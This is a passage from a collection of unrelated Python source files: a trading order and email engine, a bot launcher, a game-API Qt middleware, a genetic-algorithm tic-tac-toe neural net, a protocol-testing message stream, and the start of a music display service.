if order.is_active():
self.active_orders[order.vt_orderid] = order
# Otherwise, pop inactive order from in dict
elif order.vt_orderid in self.active_orders:
self.active_orders.pop(order.vt_orderid)
def process_trade_event(self, event: Event) -> None:
""""""
trade = event.data
self.trades[trade.vt_tradeid] = trade
def process_position_event(self, event: Event) -> None:
""""""
position = event.data
self.positions[position.vt_positionid] = position
def process_account_event(self, event: Event) -> None:
""""""
account = event.data
self.accounts[account.vt_accountid] = account
def process_contract_event(self, event: Event) -> None:
""""""
contract = event.data
self.contracts[contract.vt_symbol] = contract
def get_tick(self, vt_symbol: str) -> Optional[TickData]:
"""
Get latest market tick data by vt_symbol.
"""
return self.ticks.get(vt_symbol, None)
def get_order(self, vt_orderid: str) -> Optional[OrderData]:
"""
Get latest order data by vt_orderid.
"""
return self.orders.get(vt_orderid, None)
def get_trade(self, vt_tradeid: str) -> Optional[TradeData]:
"""
Get trade data by vt_tradeid.
"""
return self.trades.get(vt_tradeid, None)
def get_position(self, vt_positionid: str) -> Optional[PositionData]:
"""
Get latest position data by vt_positionid.
"""
return self.positions.get(vt_positionid, None)
def get_account(self, vt_accountid: str) -> Optional[AccountData]:
"""
Get latest account data by vt_accountid.
"""
return self.accounts.get(vt_accountid, None)
def get_contract(self, vt_symbol: str) -> Optional[ContractData]:
"""
Get contract data by vt_symbol.
"""
return self.contracts.get(vt_symbol, None)
def get_all_ticks(self) -> List[TickData]:
"""
Get all tick data.
"""
return list(self.ticks.values())
def get_all_orders(self) -> List[OrderData]:
"""
Get all order data.
"""
return list(self.orders.values())
def get_all_trades(self) -> List[TradeData]:
"""
Get all trade data.
"""
return list(self.trades.values())
def get_all_positions(self) -> List[PositionData]:
"""
Get all position data.
"""
return list(self.positions.values())
def get_all_accounts(self) -> List[AccountData]:
"""
Get all account data.
"""
return list(self.accounts.values())
def get_all_contracts(self) -> List[ContractData]:
"""
Get all contract data.
"""
return list(self.contracts.values())
def get_all_active_orders(self, vt_symbol: str = "") -> List[OrderData]:
"""
Get all active orders by vt_symbol.
If vt_symbol is empty, return all active orders.
"""
if not vt_symbol:
return list(self.active_orders.values())
else:
active_orders = [
order
for order in self.active_orders.values()
if order.vt_symbol == vt_symbol
]
return active_orders
class EmailEngine(BaseEngine):
"""
Provides email sending function for VN Trader.
"""
def __init__(self, main_engine: MainEngine, event_engine: EventEngine):
""""""
super(EmailEngine, self).__init__(main_engine, event_engine, "email")
self.thread: Thread = Thread(target=self.run)
self.queue: Queue = Queue()
self.active: bool = False
self.main_engine.send_email = self.send_email
def send_email(self, subject: str, content: str, receiver: str = "") -> None:
""""""
# Start email engine when sending first email.
if not self.active:
self.start()
# Use default receiver if not specified.
if not receiver:
receiver = SETTINGS["email.receiver"]
msg = EmailMessage()
msg["From"] = SETTINGS["email.sender"]
msg["To"] = receiver
msg["Subject"] = subject
msg.set_content(content)
self.queue.put(msg)
def run(self) -> None:
""""""
while self.active:
try:
msg = self.queue.get(block=True, timeout=1)
with smtplib.SMTP_SSL(
SETTINGS["email.server"], SETTINGS["email.port"]
) as smtp:
smtp.login(
SETTINGS["email.username"], SETTINGS["email.password"]
)
smtp.send_message(msg)
except Empty:
pass
def start(self) -> None:
""""""
self.active = True
self.thread.start()
def close(self) -> None:
""""""
if not self.active:
return
self.active = False
self.thread.join()
|
pyBot.py | #!/usr/bin/env python3
## Import needed modules
import time
from threading import Thread
import pyBotCore
## Run the bot and flood counter in own threads
def initialize():
bot = Thread(target=pyBotCore.pyBot)
fld = Thread(target=pyBotCore.Flood)
cobelearn = Thread(target=pyBotCore.CobeLearn)
bot.daemon = True
bot.start()
fld.daemon = True
fld.start()
cobelearn.daemon = True
cobelearn.start()
while True: ## Keep the main thread alive
time.sleep(1)
try:
initialize()
except Exception:
"""
Logging this kind of error at this point is not possible, i have no idea how would i deal this right now..
#errormsg = "[ERROR]-[Core] Connection failure, attempting to reconnect"
#sys_error_log.log( self ) ## LOG the error
"""
## time sleep 10 because we dont want to reconnect too fast if something goes wrong.
time.sleep(10)
initialize()
except KeyboardInterrupt:
#os._exit(1)
print( "Ctrl+C, Quitting!" )
|
crestprocessor.py | # crestprocessor.py
import threading
from PySide import QtCore
from crest.crest import Crest
class CrestProcessor(QtCore.QObject):
"""
CREST Middle-ware
"""
login_response = QtCore.Signal(str)
logout_response = QtCore.Signal()
location_response = QtCore.Signal(str)
destination_response = QtCore.Signal(bool)
def __init__(self, implicit, client_id, client_secret, parent=None):
super(CrestProcessor, self).__init__(parent)
self.crest = Crest(implicit, client_id, client_secret, self._login_callback, self._logout_callback)
def login(self):
return self.crest.start_server()
def logout(self):
self.crest.logout()
def get_location(self):
server_thread = threading.Thread(target=self._get_location)
server_thread.setDaemon(True)
server_thread.start()
def _get_location(self):
location = self.crest.get_char_location()
self.location_response.emit(location)
def set_destination(self, sys_id):
server_thread = threading.Thread(target=self._set_destination, args=(sys_id, ))
server_thread.setDaemon(True)
server_thread.start()
def _set_destination(self, sys_id):
response = self.crest.set_char_destination(sys_id)
self.destination_response.emit(response)
def _login_callback(self, char_name):
self.login_response.emit(char_name)
def _logout_callback(self):
self.logout_response.emit()
|
ai.py | #!/usr/bin/env python
"""
Module for creating an AI to play tic-tac-toe by training a neural network using genetic algorithms (WIP).
Workflow consists of creating two populations of neural networks using the TTTNeuralNetwork class. The populations
of neural networks are matched against each other in a game of tic-tac-toe using the TTTNeuralGame class and the
fitness of each neural network is calculated. After this is one, a certain percentage of the neural networks are
killed off and replaced with the offspring of the top neural networks. Finally, mutations are applied and a new
generation begins. The workflow stops when the fitness score of the top percentage of networks hasn't changed.
Logging config occurs in the __init__.py file included in this package
"""
from numpy import random
import math
import os
import multiprocessing as mp
import logging
from boards import TTTBoard
_here = os.path.abspath(os.path.dirname(__file__))
_data = os.path.join(os.path.join(_here, '..'), 'data')
DEFAULT_AI_PATH = os.path.join(_data, 'ai_default.txt')
AI_PATH = os.path.join(_data, 'ai.txt')
# values add or subtracted to a nets fitness while it is being trained (based on the circumstances)
GAMEWIN = 30
GAMELOSS = -30
TIEGAME = 15
BLOCKOPP = 10
OVERLAPDOC = -40
class TTTNeuron(object):
"""
Representation of a sigmoid neuron.
"""
def __init__(self, layer, num_inputs=10, weights=None, bias=None):
"""
Create the neuron
:param: layer: The layer this neuron is found in.
:param num_inputs: Number of inputs this neuron will receive.
:param weights: List of weights that will be used as this neurons weights. If None, weights will be generated
:param bias: Value for the bias to specify. If None, weights will be generated
:return: None
"""
self.layer = layer
self.numInputs = num_inputs
self.weights = weights if weights is not None else []
self.bias = bias if bias is not None else 0
self.WEIGHTSRANGE = (-1, 1)
self.BIASRANGE = (-7.5, 7.5)
if weights is None and bias is None:
self.generate()
def __repr__(self):
"""
Representation of the class as a string.
"""
return "<{};{};{}>".format(
self.layer, self.bias, ','.join(["{:.2f}".format(i) for i in self.weights]))
def _genWeights(self):
"""
Generates and returns random weights of type double inside self.WEIGHTSRANGE, one for each input.
"""
return [float("{:0.3f}".format(random.uniform(*self.WEIGHTSRANGE))) for x in range(self.numInputs)]
def _genBias(self):
"""
Generates and returns a random bias of type double inside self.BIASRANGE.
"""
return random.uniform(*self.BIASRANGE)
def generate(self):
"""
Initiates itself with random values.
"""
self.weights = self._genWeights()
self.bias = self._genBias()
@staticmethod
def _sigmoid(x):
"""
Sends x through a logistic sigmoid function and returns the output
"""
return 1 / (1 + math.exp(-x))
def feed(self, inputs):
"""
Weights the inputs, adds the bias, sends it to _sigmoid and then returns the output.
:param inputs: Array of inputs that should be the same length as self.numInputs
"""
if len(inputs) != self.numInputs:
raise ValueError("Number of inputs is larger than expected")
sum = self.bias
for index, inp in enumerate(inputs):
sum += inp * self.weights[index]
return self._sigmoid(sum)
def mutate(self):
"""
Mutates this neural network by selecting a random weight and doing one of the following:
Replacing it with a new random value
Multiplying it by a number between 0.5 and 1.5
Adding or subtracting a random number between 0 and 1
Changing the polarity of it
Recreate all of the weights to a new random value
or swapping it out with another weight.
While executing a selected task, there is a 50% chance that the task will also be done to the bias.
:return: None
"""
randWeight = random.randint(0, len(self.weights))
randTask = random.randint(0, 6)
if randTask == 0: # replace weight with random value
self.weights[randWeight] = random.uniform(*self.WEIGHTSRANGE)
if random.random() < 0.5:
self.bias = random.uniform(*self.BIASRANGE)
elif randTask == 1: # multiple by a random value between 0.5 and 1.5
self.weights[randWeight] *= random.uniform(0.5, 1.5)
if random.random() < 0.5:
self.bias *= random.uniform(0.5, 1.5)
elif randTask == 2: # add or subtract a random value between -1 and 1
self.weights[randWeight] += random.uniform(-1, 1)
if random.random() < 0.5:
self.bias += random.uniform(-1, 1)
elif randTask == 3: # change the polarity
self.weights[randWeight] *= -1.0
if random.random() < 0.5:
self.bias *= -1.0
elif randTask == 4: # re-create itself
self._genWeights()
if random.random() < 0.5:
self._genBias()
else: # swap two of the weights
randWeight2 = randWeight
while randWeight2 == randWeight:
randWeight2 = random.randint(0, len(self.weights))
weight = self.weights[randWeight]
self.weights[randWeight] = self.weights[randWeight2]
self.weights[randWeight2] = weight
class TTTNeuralNet(object):
"""
Tic-Tac-Toe Neural network object. Has 10 input neurons (nine for each space on the board, one for whose turn
it is), one hidden network containing nine neurons and nine output neurons.
"""
pieceValues = [0.001, 0.01, 0] # x, o, empty
def __init__(self, layers=None, fitness=0):
"""
Create the neural net.
:param layers: A nested array: [[Input Layer neurons], [Hidden Layer neurons], [Output Layer neurons]] that is
used to specify layers containing neurons to use instead of creating random ones.
:param fitness: Used to specify fitness to start out with
:return: None
"""
self.NUMINPUT = 10
self.NUMHIDDEN = 9
self.NUMOUTPUT = 9
self.layers = layers if layers is not None else self.create()
self.inputLayer, self.hiddenLayer, self.outputLayer = self.layers[:]
self.fitness = fitness # this is a placeholder for when it is in a population.
self.mutateChances = [0.05, # 5% chance of executing mutate task 1
47.55, # 47.5% chance of executing mutate task 2
1] # 47.5% chance of executing mutate task 3
def __repr__(self):
"""
Returns fitness
"""
return str(self.fitness)
@classmethod
def load(cls, file_path):
"""
Opens up the file found at file_path and reads its contents consisting of a stored TTTNeuralNet object
in order to return a new TTTNeuralNet object. The file at file_path should be the result of the export function
found below.
"""
if not os.path.exists(file_path):
raise IOError("{} does not exist!".format(file_path))
else:
input_layer, hidden_layer, output_layer = [], [], []
with open(file_path, 'r') as fp:
content = fp.read().strip().split("\n")
if len(content) < 28:
raise ValueError("The file {} does not contain enough lines to be the result of the export \n"
"method in this class!".format(file_path))
else:
for line in content:
layer, bias, weights = line.strip('<>').split(";")
neuron = TTTNeuron(layer, weights=[float(x) for x in weights.split(',')], bias=float(bias),
num_inputs=9 if layer == "output" else 10)
if layer == "input":
input_layer.append(neuron)
elif layer == "hidden":
hidden_layer.append(neuron)
else:
output_layer.append(neuron)
return TTTNeuralNet(layers=[input_layer, hidden_layer, output_layer])
def export(self, file_path):
"""
Creates a new txt file at file_path, replacing the existing file at that location if needed, containing the
output of the __repr__ function of each neuron found in this network, separated by newlines
"""
with open(file_path, 'w') as exportFile:
for layer in self.layers:
for neuron in layer:
exportFile.write(neuron.__repr__() + "\n")
def copy(self):
"""
Returns a new Neural Network that is exactly like this one
"""
return TTTNeuralNet(layers=[x for x in self.layers], fitness=self.fitness)
def create(self):
"""
Returns layers of neurons.
"""
return [[TTTNeuron("input") for x in range(self.NUMINPUT)],
[TTTNeuron("hidden") for y in range(self.NUMHIDDEN)],
[TTTNeuron("output", num_inputs=9) for z in range(self.NUMOUTPUT)]]
@staticmethod
def _feedLayer(input_set, layer):
"""
Feeds a layer the input set and returns the output.
:param input_set: Inputs to give to the layer.
:param layer: List of TTTNeuron objects to give the input to.
"""
return [layer[x].feed(input_set) for x in range(len(layer))]
def feed(self, input_set):
"""
Takes in a list of 10 inputs to use (in order of <TURN><SQ1><SQ2>, etc.) and then returns the output.
"""
return self._feedLayer(self._feedLayer(self._feedLayer(input_set, self.inputLayer), self.hiddenLayer),
self.outputLayer)
def getMove(self, turn, sBoard):
"""
Translates the pieces on the sBoard to ints, feeds itself the input and then returns the position on the board
in which it will move (in the 'int' notation, that is one of the positions on the board labeled 1-9)
:param turn: x or o for who the current turn it is
:param sBoard: String representation of a tic tac toe board.
"""
input_set = [self.pieceValues[0] if turn == 'x' else self.pieceValues[1]]
[input_set.extend([self.pieceValues[0] if b == 'x' else self.pieceValues[1] for b in a]) for a in sBoard]
output = self.feed(input_set)
highest = 0
for index, out in enumerate(output):
if out > output[highest]:
highest = index
return highest + 1
def mutate(self):
"""
Selects a random neuron in one of the layers and calls its mutate function.
"""
randLayer = random.randint(0, 2)
self.layers[randLayer][random.randint(0, len(self.layers[randLayer]))].mutate()
def breed(self, nn):
"""
Breeds itself with the given neural network by doing one of the following:
(1)Swap a single weight between two random neurons
(2)Swap two neurons in one random layer
(3)Swap all of the neurons in a random layer (has less of a change of occurring).
:param nn: neural network to breed with.
:return: Two new offspring/TTTNeuralNet objects
"""
randTask = random.uniform(0, 1)
randLayer = random.randint(0, 3)
children = [TTTNeuralNet(layers=self.layers), TTTNeuralNet(layers=nn.layers)]
if randTask <= self.mutateChances[0]: # all the neurons in a layer being swapped
x = children[0].layers[randLayer]
children[0].layers[randLayer] = children[1].layers[randLayer]
children[1].layers[randLayer] = x
elif randTask <= self.mutateChances[1]: # 47.5% chance of two neurons swapping weights
randNeuron = random.randint(len(children[0].layers[randLayer]))
x = children[0].layers[randLayer][randNeuron]
children[0].layers[randLayer][randNeuron] = children[1].layers[randLayer][randNeuron]
children[1].layers[randLayer][randNeuron] = x
else: # 47.5% chance of a two weights being swapped between two neurons
randNeuron = random.randint(len(children[0].layers[randLayer]))
randWeight = random.randint(len(children[0].layers[randLayer][randNeuron].weights))
x = children[0].layers[randLayer][randNeuron][randWeight]
children[0].layers[randLayer][randNeuron].weights[randWeight] = \
children[1].layers[randLayer][randNeuron].weights[randWeight]
children[1].layers[randLayer][randNeuron].weights[randWeight] = x
return children
def loadAI(path_to_net):
"""
Copies path_to_net to ai.txt, so that it may be used in the game
:param path_to_net: Path to txt file containing the results of the export method in the TTTNeuralNet class
:return: 1 if failure, 0 if success
"""
# try loading the file first to see if it's valid
testNet = TTTNeuralNet()
try:
testNet.load(path_to_net)
except Exception:
raise TypeError("The net found at {} is not valid: {}".format(path_to_net, Exception.message))
here = os.path.abspath(os.path.dirname(__file__))
testNet.export(os.path.join(os.path.join(os.path.join(here, ".."), "data"), "ai.txt"))
class TTTPopulation(object):
"""
Represents a population of neural networks (WIP).
"""
def __init__(self, population):
"""
Create the population
"""
self.population = population
self.mutationRate = 0.20
self.killingRate = 0.3
self.diminishRate = 0.01 # percentage the population decreases each generation
self.breedingRate = (self.killingRate / 2) - self.diminishRate # allows for the population to slowly die off
self.nets = []
self.createNeuralNets()
def createNeuralNets(self):
"""
Creates the population of neural nets and stores them in self.nets
"""
self.nets = [TTTNeuralNet() for i in range(self.population)]
def sort(self, reverse=True):
"""
Sorts the population based on fitness score highest to lowest. The score must be calculated for each net
before the pop can be properly sorted
:param reverse: if False, will sort then nets in ascending order.
"""
self.nets = sorted(self.nets, reverse=reverse)
def randomize(self):
"""
Moves the neural networks into random positions
"""
random.shuffle(self.nets)
def _mutate(self):
"""
Mutates (self.mutationRate)% of the population by calling a neural networks mutate function
"""
mutateIndex = 0
mutated = []
for x in range(int(self.population * self.mutationRate)):
while mutateIndex in mutated:
mutateIndex = random.randint(0, self.population)
mutated.append(mutateIndex)
for x in mutated:
self.nets[x].mutate()
def _breed(self):
"""
Breeds the top (self.breedingRate)% of the population by calling the neural networks breed function. Expects
the neural networks to be sorted in descending order based on fitness
"""
for x in range(0, int(self.population * self.breedingRate), 2):
self.nets.extend(self.nets[x].breed(self.nets[x + 1]))
def _cut(self):
"""
Kills the lower (self.killingRate)%. Expects the neural networks to be sorted into descending order based on
fitness
:return: None
"""
for index in range(int(self.population * self.breedingRate)):
del self.nets[len(self.nets) - 1]
def nextGen(self):
"""
Calls sort, _cut, _breed, and _mutate and then returns the neural net with the highest fitness
"""
self.sort()
fittest = self.nets[0].copy()
self._cut()
self._breed()
self._mutate()
for net in self.nets:
net.fitness = 0
return fittest
def calcFitness(nn1, nn2):
"""
Calculates the fitness of nn1 and nn2 by placing them against each other in a game of tic-tac-toe. Each
neural network will have a chance to go first
:param nn1: Neural network 1
:param nn2: Neural network 2
:return: The fitness scores for each neural network [fitness1, fitness2]
"""
gameOver = False
overlapCounter = 0 # if 2
turn = 0 # 0 for x, 1 for o
players = [nn1, nn2]
board = TTTBoard()
while not gameOver and overlapCounter < 2:
endTurn = False # this will allow for the 'turn checker' to end turns, yet keep the turns cycling
while not endTurn:
move = board.translateNumToPos(players[turn].getMove(turn, board.sBoard))
# check if move was valid, if not end turn, deduct points and add 1 to overlap counter
if not board.isValidMove(move):
players[turn].fitness += OVERLAPDOC
overlapCounter += 1
turn = int(not turn)
endTurn = True
board.setPiece(move, turn)
# check if move blocks opponent
if board.checkForBlocks(move) is True:
players[turn].fitness += BLOCKOPP
# check if move wins game
gameStatus = board.checkForWin(move, retInt=True)
if gameStatus == turn:
players[turn].fitness += GAMEWIN
players[int(not turn)].fitness += GAMELOSS
gameOver = True
elif gameStatus == 2: # 2 is for a tie
players[turn].fitness += TIEGAME
players[int(not turn)].fitness += TIEGAME
gameOver = True
def worker(queue):
"""
Multiprocessing worker class that will take in a queue of nets and match them together
"""
logging.info("Worker starting")
total = 0
while True:
try:
calcFitness(*queue.get(True, 0.1))
total += 1
except: # queue is empty, raises error
break
logging.info("Worker ending, {} games played".format(total))
class TTTrainer(object):
"""
Trains two populations. Logging module must be imported or the global variable logging must be accounted for.
"""
def __init__(self, population):
"""
Create the training object
:param population: amount of neural networks to create
:param xValue: Int value for x to be inputted into the neural networks
:param oValue: Int value for o to be inputted into the neural networks
:param emptyValue: Int value for empty spaces to be inputted into the neural networks
"""
self.numPopulation = population
self.populations = [TTTPopulation(self.numPopulation), TTTPopulation(self.numPopulation)]
self.pop1, self.pop2 = self.populations[:]
# if the top fitness score hasn't changed in self.genSameMax generations, the testing is stopped
self.genSameMax = 200
# testing stops after genStop many generations has been reached
self.genStop = 250
def train(self):
"""
Trains the neural networks and returns the one with the highest fitness score.
"""
logging.info("Starting training")
generation = 1
gensSame = 0
previousFitness = TTTNeuralNet(fitness=-500)
highest = None
logging.info("Note: {} workers will be used- 1 for each cpu)".format(mp.cpu_count()))
queues = [mp.Queue() for x in range(mp.cpu_count())]
# holds indices for self.numPopulation that splits the pop into equal amounts based on how many cpus are
# available (exmaple: if 4 cpus are available then it could look like this: [[0, 4], [4, 8], [8, 12], [12, 16]])
ranges = []
for x in range(mp.cpu_count()):
ranges.append([int(self.numPopulation * (x / float(mp.cpu_count()))), int(
self.numPopulation * ((x + 1) / float(mp.cpu_count())))])
while gensSame < self.genSameMax and generation <= self.genStop:
logging.info("Starting generation {}".format(generation))
logging.info("Randomizing populations")
self.pop1.randomize()
self.pop2.randomize()
# matches every single net against one another.
logging.info("Matching neural networks together")
logging.debug("Filling queues with info")
for queue in range(len(queues)):
for net1 in self.pop1.nets[ranges[queue][0]:ranges[queue][1]]:
for net2 in self.pop2.nets:
queues[queue].put([net1, net2])
logging.debug("Starting processes")
processes = []
for index in range(mp.cpu_count()):
process = mp.Process(target=worker, args=(queues[index], ))
process.start()
processes.append(process)
logging.debug("Waiting for calculations to complete...")
for num, process in enumerate(processes):
process.join() # makes sure each process is finished before moving on
logging.info("Fitness calculations complete. Ending generation.")
fittest1 = self.pop1.nextGen() # pcmr
fittest2 = self.pop2.nextGen()
highest = fittest1 if fittest1.fitness > fittest2.fitness else fittest2
logging.info("Highest fitness of the generation: {}".format(highest))
if highest.fitness == previousFitness.fitness:
gensSame += 1
logging.info("Fitness score is the same and now has been for {} generations".format(gensSame))
previousFitness = highest.copy()
else:
logging.info("Fittest score has changed from {} to {}.".format(previousFitness, highest))
previousFitness = highest.copy()
gensSame = 0
generation += 1
if generation >= self.genStop:
logging.info("Training has completed because the number of generations has exceeded the max")
else:
logging.info("Training has completed because the highest fitness score hasn't changed in {} "
"generations".format(self.genSameMax))
# close down the queues
for queue in queues:
queue.close()
return highest
|
message_stream.py | # Copyright 2014 Nokia Siemens Networks Oyj
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import time
import threading
import traceback
import re
from Rammbock.logger import logger
from Rammbock.binary_tools import to_bin, to_int
from Rammbock.synchronization import LOCK
class MessageStream(object):
def __init__(self, stream, protocol):
self._cache = []
self._stream = stream
self._protocol = protocol
self._handlers = []
self._handler_thread = None
self._running = True
self._interval = 0.5
def close(self):
self._running = False
self.empty()
def set_handler(self, msg_template, handler_func, header_filter, interval):
self._handlers.append((msg_template, handler_func, header_filter))
if interval:
self._interval = float(interval)
if not self._handler_thread:
self._handler_thread = threading.Thread(target=self.match_handlers_periodically, name="Background handler")
self._handler_thread.daemon = True
self._handler_thread.start()
def get(self, message_template, timeout=None, header_filter=None, latest=None):
header_fields = message_template.header_parameters
logger.trace("Get message with params %s" % header_fields)
if latest:
self._fill_cache()
msg = self._get_from_cache(message_template, header_fields, header_filter, latest)
if msg:
logger.trace("Cache hit. Cache currently has %s messages" % len(self._cache))
return msg
cutoff = time.time() + float(timeout if timeout else 0)
while not timeout or time.time() < cutoff:
with LOCK:
header, pdu_bytes = self._protocol.read(self._stream, timeout=timeout)
if self._matches(header, header_fields, header_filter):
return self._to_msg(message_template, header, pdu_bytes)
else:
self._match_or_cache(header, pdu_bytes)
raise AssertionError('Timeout %fs exceeded in message stream.' % float(timeout))
def _match_or_cache(self, header, pdu_bytes):
for template, func, handler_filter in self._handlers:
if self._matches(header, template.header_parameters, handler_filter):
msg_to_be_sent = self._to_msg(template, header, pdu_bytes)
logger.debug("Calling handler %s for message %s" % (func, msg_to_be_sent))
self._call_handler_function(func, msg_to_be_sent)
return
self._cache.append((header, pdu_bytes))
def _get_call_handler(self, handler_name):
module, function = handler_name.split('.')
mod = __import__(module)
return getattr(mod, function)
def _get_from_cache(self, template, fields, header_filter, latest):
indexes = range(len(self._cache))
for index in indexes if not latest else reversed(indexes):
header, pdu = self._cache[index]
if self._matches(header, fields, header_filter):
self._cache.pop(index)
return self._to_msg(template, header, pdu)
return None
def _to_msg(self, template, header, pdu_bytes):
if template.only_header:
return header
msg = template.decode(pdu_bytes, parent=header)
msg._add_header(header)
return msg
def _matches(self, header, fields, header_filter):
if header_filter:
if header_filter not in fields:
raise AssertionError('Trying to filter messages by header field %s, but no value has been set for %s' %
(header_filter, header_filter))
field = header[header_filter]
if field._type == 'chars':
if fields[header_filter].startswith('REGEXP:'):
try:
regexp = fields[header_filter].split(':')[1].strip()
return bool(re.match(regexp, field.ascii))
except re.error as e:
raise Exception("Invalid RegEx Error : " + str(e))
return field.ascii == fields[header_filter]
if field._type == 'uint':
return field.uint == to_int(fields[header_filter])
if header[header_filter].bytes != to_bin(fields[header_filter]):
return False
return True
def empty(self):
self._cache = []
self._stream.empty()
def get_messages_count_in_cache(self):
self._fill_cache()
for msg in self._cache:
logger.info(msg)
return len(self._cache)
def _fill_cache(self):
try:
while True:
header, pdu_bytes = self._protocol.read(self._stream, timeout=0.2)
self._cache.append((header, pdu_bytes))
except:
pass
def match_handlers_periodically(self):
while self._running:
time.sleep(self._interval)
self.match_handlers()
def match_handlers(self):
try:
while True:
with LOCK:
self._try_matching_cached_to_templates()
header, pdu_bytes = self._protocol.read(self._stream, timeout=0.01)
self._match_or_cache(header, pdu_bytes)
except Exception:
logger.debug("failure in matching cache %s" % traceback.format_exc())
# FIXME: Is this actually necessary? Wouldnt we always match before caching?
# Unless of course the handler was set after caching happened...
def _try_matching_cached_to_templates(self):
if not self._cache:
return
for template, func, handler_filter in self._handlers:
msg = self._get_from_cache(template, template.header_parameters, handler_filter, False)
if msg:
logger.debug("Calling handler %s for cached message %s" % (func, msg))
self._call_handler_function(func, msg)
def _call_handler_function(self, func, msg):
func = self._get_call_handler(func)
node, connection = self._get_node_and_connection()
try:
args = func.func_code.co_argcount
except AttributeError:
args = func.__code__.co_argcount
if args == 3:
return func(self._protocol.library, msg, node)
if args == 4:
return func(self._protocol.library, msg, node, connection)
return func(self._protocol.library, msg)
def _get_node_and_connection(self):
connection = self._stream._connection
if connection.parent:
return connection.parent, connection
return connection, None
|
pydPiper.py | #!/usr/bin/python.pydPiper
# coding: UTF-8
# pydPiper service to display music data to LCD and OLED character displays
# Written by: Ron Ritchey
from __future__ import unicode_literals
import json, threading, logging, Queue, time, sys, getopt, moment, signal, commands, os, copy, datetime, math, requests
import pages
import displays
import sources
import pydPiper_config
import pause
#try:
# import pyowm
#except ImportError:
# pass
exitapp = [ False ]
class music_controller(threading.Thread):
# Receives updates from music services
# Determines what page to displays
# Sends relevant updates to display_controller
# musicdata variables.
# Includes all from musicdata class plus environmentals
musicdata_init = {
'state':u"stop",
'musicdatasource':u"",
'actPlayer':u"",
'artist':u"",
'title':u"",
'album':u"",
'uri':u"",
'current':-1,
'elapsed':-1,
'remaining':u"",
'duration':-1,
'length':-1,
'position':u"",
'elapsed_formatted':u"",
'volume':-1,
'repeat': 0,
'single': 0,
'random': 0,
'channels':0,
'bitdepth':u"",
'bitrate':u"",
'samplerate':u"",
'type':u"",
'tracktype':u"",
'repeat_onoff': u"Off",
'single_onoff': u"Off",
'random_onoff': u"Off",
'playlist_display':u"",
'playlist_position':-1,
'playlist_count':-1,
'playlist_length':-1,
'current_tempc':0,
'current_tempf':0,
'disk_avail':0,
'disk_availp':0,
'current_time':u"",
'utc':moment.utcnow(),
'localtime':moment.utcnow().timezone(pydPiper_config.TIMEZONE),
'current_time_sec':u"",
'current_time_formatted':u"",
'time_formatted':u"",
'current_ip':u"",
'outside_conditions':'No data',
'outside_temp_min':0,
'outside_temp_max':0,
'outside_temp_formatted':'',
'system_temp_formatted':''
}
def __init__(self, servicelist, display_controller, showupdates=False):
threading.Thread.__init__(self)
self.daemon = True
self.musicqueue = Queue.Queue()
self.image = None
self.showupdates = showupdates
self.display_controller = display_controller
self.musicdata = copy.deepcopy(self.musicdata_init)
self.musicdata_prev = copy.deepcopy(self.musicdata)
self.servicelist = servicelist
self.services = { }
# Attempt to initialize services
self.initservices()
# Lock used to prevent simultaneous update of the musicdata dictionary
self.musicdata_lock = threading.Lock()
def initservices(self):
# Make sure that if rune is selected that is is the only service that is selected
if u"rune" in self.servicelist and len(self.servicelist) > 1:
logging.critical(u"Rune service can only be used alone")
raise RuntimeError(u"Rune service can only be used alone")
if u"volumio" in self.servicelist and len(self.servicelist) > 1:
logging.critical(u"Volumio service can only be used alone")
raise RuntimeError(u"Volumio service can only be used alone")
musicservice = None
for s in self.servicelist:
s = s.lower()
try:
if s == u"mpd" or s == u"moode":
musicservice = sources.musicdata_mpd.musicdata_mpd(self.musicqueue, pydPiper_config.MPD_SERVER, pydPiper_config.MPD_PORT, pydPiper_config.MPD_PASSWORD)
elif s == u"spop":
musicservice = sources.musicdata_spop.musicdata_spop(self.musicqueue, pydPiper_config.SPOP_SERVER, pydPiper_config.SPOP_PORT, pydPiper_config.SPOP_PASSWORD)
elif s == u"lms":
musicservice = sources.musicdata_lms.musicdata_lms(self.musicqueue, pydPiper_config.LMS_SERVER, pydPiper_config.LMS_PORT, pydPiper_config.LMS_USER, pydPiper_config.LMS_PASSWORD, pydPiper_config.LMS_PLAYER)
elif s == u"rune":
musicservice = sources.musicdata_rune.musicdata_rune(self.musicqueue, pydPiper_config.RUNE_SERVER, pydPiper_config.RUNE_PORT, pydPiper_config.RUNE_PASSWORD)
elif s == u"volumio":
musicservice = sources.musicdata_volumio2.musicdata_volumio2(self.musicqueue, pydPiper_config.VOLUMIO_SERVER, pydPiper_config.VOLUMIO_PORT, exitapp )
else:
logging.debug(u"Unsupported music service {0} requested".format(s))
continue
except NameError:
# Missing dependency for requested servicelist
logging.warning(u"Request for {0} failed due to missing dependencies".format(s))
pass
if musicservice != None:
self.services[s] = musicservice
if len(self.services) == 0:
logging.critical(u"No music services succeeded in initializing")
raise RuntimeError(u"No music services succeeded in initializing")
def launch_update_thread(self, func):
sv_t = threading.Thread(target=func)
sv_t.daemon = True
sv_t.start()
def run(self):
logging.debug(u"Music Controller Starting")
self.launch_update_thread(self.updatesystemvars)
self.launch_update_thread(self.updateconditions)
self.launch_update_thread(self.updateforecast)
timesongstarted = 0
# Inform the system that we are starting up
with self.musicdata_lock:
self.musicdata[u'time_since_last_state_change'] = 0
self.musicdata_prev[u'state'] = ''
self.musicdata[u'state'] = 'starting'
self.starttime = time.time()
lastupdate = 0 # Initialize variable to be used to force updates every second regardless of the receipt of a source update
while not exitapp[0]:
updates = { }
# Check if we are starting up. If yes, update pages to display any start message.
if self.starttime + pydPiper_config.STARTUP_MSG_DURATION > time.time():
time.sleep(pydPiper_config.STARTUP_MSG_DURATION)
with self.musicdata_lock:
self.musicdata['state'] = 'stop'
continue
# Attempt to get an update from the queue
try:
updates = self.musicqueue.get_nowait()
self.musicqueue.task_done()
except Queue.Empty:
pass
# Get current time
try:
utc = moment.utcnow()
localtime = moment.utcnow().timezone(pydPiper_config.TIMEZONE)
current_time_ampm = moment.utcnow().timezone(pydPiper_config.TIMEZONE).strftime(u"%p").strip().decode()
if pydPiper_config.TIME24HOUR == True:
current_time = moment.utcnow().timezone(pydPiper_config.TIMEZONE).strftime(u"%H:%M").strip().decode()
current_time_sec = moment.utcnow().timezone(pydPiper_config.TIMEZONE).strftime(u"%H:%M:%S").strip().decode()
else:
